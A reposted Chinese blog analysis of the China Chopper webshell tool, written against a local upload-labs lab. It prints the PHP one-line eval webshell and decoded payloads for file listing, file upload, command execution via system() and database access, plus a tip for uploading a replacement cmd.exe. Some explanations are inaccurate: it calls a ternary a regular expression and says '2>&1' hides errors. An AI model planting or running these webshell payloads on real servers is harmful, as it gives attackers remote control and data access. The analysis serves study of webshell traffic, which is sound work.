webshell工具之菜刀原理分析


如何抓取菜刀流量

我們用bp來對菜刀的數據包進行抓取(也可以用wireshark,wireshark可以直接抓取流量包),bp是無法直接抓取菜刀的流量的,而且菜刀本身沒有自帶的代理設置,我們可以借用proxifier來進行代理設置

首先對proxifier進行配置

 

 配置代理服務器

 

 

 打開bp進行設置

 

 設置成功

使用菜刀對webshell進行連接,bp便可以抓取到菜刀的流量

一句話木馬原理

首先我們先研究下這個一句話木馬

<?php @eval($_POST['ss']);?>

這是個最基礎的PHP一句話木馬,我們來看下這個一句話,$_post用於收集傳遞過來的數據,eval將傳遞過來的數據當做可以執行的PHP代碼來執行,這樣就可以將任意的PHP語句傳入到網站所在的服務器進行執行。

菜刀流量分析

菜刀連接webshell的過程

使用菜刀對webshell進行連接,bp進行抓包

POST /upload-labs-env/WWW/22.php HTTP/1.1

User-Agent: Java/1.8.0_202

Host:

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: close

Content-type: application/x-www-form-urlencoded

Content-Length: 675

 ss=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

我們先對數據包進行分析,通過post傳入的ss參數,參數進行了base64加密ss=@eval(base64_decode($_POST[action]))這句話的意思就是將經過base64加密的action傳入的攻擊payload通過post傳入,並base64解碼,並通過eval執行,將執行后的結果傳給ss,我們來將這段base64解碼來看一下,傳入的具體payload

 將代碼格式化

 <?php

    @ini_set("display_errors", "0");

    @set_time_limit(0);

    @set_magic_quotes_runtime(0);

    echo("->|");;

    $D = dirname($_SERVER["SCRIPT_FILENAME"]);

    if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);

    $R = "{$D}\t";

    if (substr($D, 0, 1) != "/") {

        foreach (range("A", "Z") as $L) if (is_dir("{$L}:")) $R .= "{$L}:";

    }

    $R .= "\t";

    $u = (function_exists('posix_getegid')) ?     @posix_getpwuid(@posix_geteuid()) : '';

    $usr = ($u) ? $u['name'] : @get_current_user();

    $R .= php_uname();

    $R .= "({$usr})";

    print $R;;

    echo("|<-");

    die();

?>

格式化后我們來看這個代碼

1. 先用@ini_set("display_errors","0");臨時關閉PHP的錯誤顯示功能

2. @set_time_limit(0);防止像dir、上傳文件大馬時超時

3. @set_magic_quotes_runtime(0);關閉魔術引號,這東西在4.0以后就不怎么用了

4.可知先將訪問的路徑復制給了$D,打開指定路徑后將返回值賦值給了$F,並將$F的內容顯示出來,如果不存在就輸出PATH_TRANSLATED

文件管理功能的實現

讓我們再來看看菜刀的其他功能

首先是文件管理

看到菜刀還是發了一句話,但這句包含了很多的內容,

我們分別解碼

[truncated] op=@eval(base64_decode($_POST[action]));&action=

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7

Base64解碼為PHP代碼

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."

";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

 

Form item: "z1" = "QzpcVXNlcnNcbHpcRGVza3RvcFxkdndhbW1tXFdXV1x1cGxvYWQtbGFicy1lbnZcV1dXXGRvY1w="

解碼為路徑

C:\dvwammm\WWW\upload-labs-env\WWW\doc\

路徑為我剛才從菜刀里要訪問的路徑,我們來分析下代碼

前面的部分已經分析過了,我們具體來看如何執行的獲取目錄的這個命令

首先我們來分析一下代碼里的這些函數

opendir() 函數打開一個目錄句柄,可由 closedir(),readdir() 和 rewinddir() 使用。若成功,則該函數返回一個目錄流,否則返回 false 以及一個 error。可以通過在函數名前加上 "@" 來隱藏 error 的輸出。

 readdir() 函數返回由 opendir() 打開的目錄句柄中的條目。若成功,則該函數返回一個文件名,否則返回 false。

 fileperms() 函數返回文件或目錄的權限。若成功,則返回文件的訪問權限。若失敗,則返回 false。

base_convert() 函數在任意進制之間轉換數字。

base_convert(number,frombase,tobase)

filesize() 函數返回指定文件的大小。若成功,則返回文件大小的字節數。若失敗,則返回 false 並生成一條 E_WARNING 級的錯誤。

filemtime() 函數返回文件內容的上次修改時間。如果成功,該函數將以 Unix 時間戳形式返回文件內容的上次修改時間。如果失敗,則返回 FALSE。

closedir() 函數關閉目錄句柄。

了解了這些函數的大概用處之后,我們來分析下整個代碼的流程

獲取了路徑參數之后,代碼將指定路徑的句柄打開,對目錄進行循環掃描,獲取目錄中的文件以及文件的權限,大小,時間,日期這四個參數,使用\t制表符拼在一起捆綁發送回客戶端,客戶端對參數進行處理,並將獲取的參數形成顯示的界面

上傳功能

這個功能一般用來上傳高權限的大型木馬,用來建立更穩固功能更多的連接,我們這里通過菜刀往當前目錄上傳一個文本文件。

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==

解碼后為

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);

echo("->|");;

$f=base64_decode($_POST["z1"]);

$c=$_POST["z2"];

$c=str_replace("\r","",$c);

$c=str_replace("\n","",$c);

$buf="";

for($i=0;$i<strlen($c);$i+=2)

     $buf.=urldecode("%".substr($c,$i,2));

echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;

echo("|<-");

die();

我們來看看這個具體代碼 

這個代碼比較簡單,關鍵函數是fwrite

fwrite() 函數將內容寫入一個打開的文件中。

函數會在到達指定長度或讀到文件末尾(EOF)時(以先到者為准),停止運行。

如果函數成功執行,則返回寫入的字節數。如果失敗,則返回 FALSE

代碼的作用就是將文件創建並將內容寫入

然后菜刀會再次發送時數據包對目錄進行請求,刷新目錄列表,與上面請求目錄的代碼一樣,就不再進行分析了

QzpcVXNlcnNcbHpcRGVza3RvcFxkdndhbW1tXFdXV1x1cGxvYWQtbGFicy1lbnZcV1dXXGltZ1wx

LnR4dA==

解碼后為C:\Users\lz\Desktop\dvwammm\WWW\upload-labs-env\WWW\img\1.txt

上傳的文件的路徑和上傳的文件的名稱與文件格式

 

命令執行 

來看看菜刀的遠程終端模擬功能

我們先來執行個dir

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs=

 

解碼后為

@ini_set("display_errors","0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo("->|");;$p=base64_decode($_POST["z1"]);

$s=base64_decode($_POST["z2"]);

$d=dirname($_SERVER["SCRIPT_FILENAME"]);

$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";

@system($r." 2>&1",$ret);

print ($ret!=0)?"ret={$ret}":"";;

echo("|<-");

die();

先來看看這個代碼里的函數

dirname() 函數返回路徑中的目錄部分。

 $_SERVER["SCRIPT_FILENAME"]:當前執行腳本的絕對路徑。

如果在命令行界面(Command Line Interface, CLI)使用相對路徑執行腳本,例如 file.php 或 ../file.php,那么 $_SERVER['SCRIPT_FILENAME'] 將包含用戶指定的相對路徑。

 

substr() 函數返回字符串的一部分。substr(string,start,length)

 

string system(string command, int [return_var]);

本函數就像是 C 語中的函數 system(),用來執行指令,並輸出結果。若是 return_var 參數存在,則執行 command 之后的狀態會填入 return_var 中。同樣值得注意的是若需要處理用戶輸入的資料,而又要防止用戶耍花招破解系統,則可以使用 EscapeShellCmd()。若 PHP 以模塊式的執行,本函數會在每一行輸出后自動更新 Web 服務器的輸出緩沖暫存區。若需要完整的返回字符串,且不想經過不必要的其它中間的輸出界面,可以使用 PassThru()。

如果return_val存在的 話,那么執行的結果信息將被寫入return_val中,@system($r." 2>&1");;我們都知道在C語言中,2代表錯誤輸出流的意思,PHP是用C寫的,當然也繼承了這個特性,那這個意思就是執行系統命令, 並屏蔽錯誤顯示。

 

$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";

這是一段正則表達式,用捕獲分組獲得字符串中的參數,用來對要執行的命令進行匹配

注意上面system函數的聲明:若 PHP 以模塊式的執行,本函數會在每一行輸出后自動更新 Web 服務器的輸出緩沖暫存區。

這就是說,我們指定的這個命令會分別執行,然后輸出結果作為參數傳遞過來,並在菜刀上顯示,有時候我們會碰到默認的cmd的路徑c:windowssystem32cmd.exe拒絕訪問,我們可以通過菜刀的上傳功能上傳我們自己的cmd.exe(cmd.exe要與目標系統的位數相匹配,並在終端執行命令切換腳本調用的cmd的路徑到我們新上傳的cmd)

命令如下

setp:上傳的cmd的路徑地址

 數據庫模擬功能

數據庫模擬功能

QGluaV9zZXQgKCAiZGlzcGxheV9lcnJvcnMiLCAiMCIgKTtAc2V0X3RpbWVfbGltaXQgKCAwICk7

QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSAoIDAgKTtlY2hvICgiLT58Iik7OyRtID0gZ2V0X21h

Z2ljX3F1b3Rlc19ncGMgKCk7JGNvbmYgPSAkbSA/IHN0cmlwc2xhc2hlcyAoICRfUE9TVCBbInox

Il0gKSA6ICRfUE9TVCBbInoxIl07JGFyID0gZXhwbG9kZSgiY2hvcmFoZWloZWloZWkiLCAkY29u

Zik7JGRibiA9ICRtID8gc3RyaXBzbGFzaGVzICggJF9QT1NUIFsiejIiXSApIDogJF9QT1NUIFsi

ejIiXTskc3FsID0gYmFzZTY0X2RlY29kZSAoICRfUE9TVCBbInozIl0gKTskVCA9IEBteXNxbF9j

b25uZWN0KCRhclswXSwkYXJbMV0sJGFyWzJdKTtAbXlzcWxfcXVlcnkgKCAiU0VUIE5BTUVTIHV0

ZjgiICk7aWYoJGRibj09IiIpeyRzcWwgPSAiU0hPVyBEQVRBQkFTRVMiOyRxID0gQG15c3FsX3F1

ZXJ5ICggJHNxbCApOyRpID0gMDt3aGlsZSgkcnM9QG15c3FsX2ZldGNoX3JvdygkcSkpe2VjaG8o

dHJpbSgkcnNbMF0pLmNocig5KSkuIlx0fFx0XHJcbiI7fUBteXNxbF9jbG9zZSgkVCk7O2VjaG8o

Inw8LSIpO2RpZSgpO31lbHNlewlAbXlzcWxfc2VsZWN0X2RiICggJGRibiApOyRxID0gQG15c3Fs

X3F1ZXJ5ICggJHNxbCApOyRpID0gMDt3aGlsZSAoICRjb2wgPSBAbXlzcWxfZmllbGRfbmFtZSAo

ICRxLCAkaSApICkge2VjaG8gKCRjb2wgLiAiXHR8XHQiKTskaSArKzt9ZWNobyAoIlxyXG4iKTt3

aGlsZSAoICRycyA9IEBteXNxbF9mZXRjaF9yb3cgKCAkcSApICkge2ZvcigkYyA9IDA7ICRjIDwg

JGk7ICRjICsrKSB7ZWNobyAodHJpbSAoICRycyBbJGNdICkpO2VjaG8gKCJcdHxcdCIpO31lY2hv

ICgiXHJcbiIpO31AbXlzcWxfY2xvc2UgKCAkVCApOztlY2hvICgifDwtIik7ZGllICgpO30=

解碼后

@ini_set ( "display_errors", "0" );

@set_time_limit ( 0 );

@set_magic_quotes_runtime ( 0 );

echo ("->|");;

$m = get_magic_quotes_gpc ();

$conf = $m ? stripslashes ( $_POST ["z1"] ) : $_POST ["z1"];

$ar = explode("choraheiheihei", $conf);

$dbn = $m ? stripslashes ( $_POST ["z2"] ) : $_POST ["z2"];

$sql = base64_decode ( $_POST ["z3"] );

$T = @mysql_connect($ar[0],$ar[1],$ar[2]);

@mysql_query ( "SET NAMES utf8" );

if($dbn=="")

{$sql = "SHOW DATABASES";

$q = @mysql_query ( $sql );

$i = 0;while($rs=@mysql_fetch_row($q)){echo(trim($rs[0]).chr(9))."\t|\t\r\n";}

@mysql_close($T);;

echo("|<-");

die();}

else{        @mysql_select_db ( $dbn );

$q = @mysql_query ( $sql );

$i = 0;

while ( $col = @mysql_field_name ( $q, $i ) ) {echo ($col . "\t|\t");$i ++;}

echo ("\r\n");

while ( $rs = @mysql_fetch_row ( $q ) ) {for($c = 0; $c < $i; $c ++) {echo (trim ( $rs [$c] ));

echo ("\t|\t");}echo ("\r\n");}

@mysql_close ( $T );;

echo ("|<-");

die ();}

代碼很長,

先來看一下里面的主要函數的意思

$m = get_magic_quotes_gpc ();

如果 magic_quotes_gpc 為關閉時返回 0,否則返回 1。在 PHP 5.4.O 起將始終返回 FALSE

Stripslashes  刪除反斜杠

Explode()    將字符串打散為數組

mysql_fetch_row() 函數從結果集中取得一行作為數字數組。

函數不是很多

代碼的主要功能是與目標服務器的數據庫簡歷連接(具體),獲取數據庫的庫,表,列字段等內容,並將我們對數據庫的操作傳遞過去,並將執行結果傳遞回來。在菜刀里直接點擊對應的數據庫內容,菜刀會直接生成對應的語句,對數據庫進行操作

菜刀的數據庫配置代碼如下

 

<T>MYSQL</T>        //這里填寫數據庫類型

<H>localhost</H>    //這里填寫數據庫主機地址

<U>root</U>         //這里填寫數據庫用戶名

<P>root</P>             //這里填寫數據庫密碼

<L>utf8</L>         //這里填寫編碼方式

現在菜刀已經是很古老的webshell管理工具,現在他只存在於一些教學視頻里了,因為流量特征過於明顯且加密方式簡單,所以現在的實用性很差,但是它曾經是個很好用的工具,流行很多年,存在很多值得我們學習的地方,通過菜刀,我們可以初步了解webshell管理工具的原理,為我們對這類工具的學習打下基礎。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM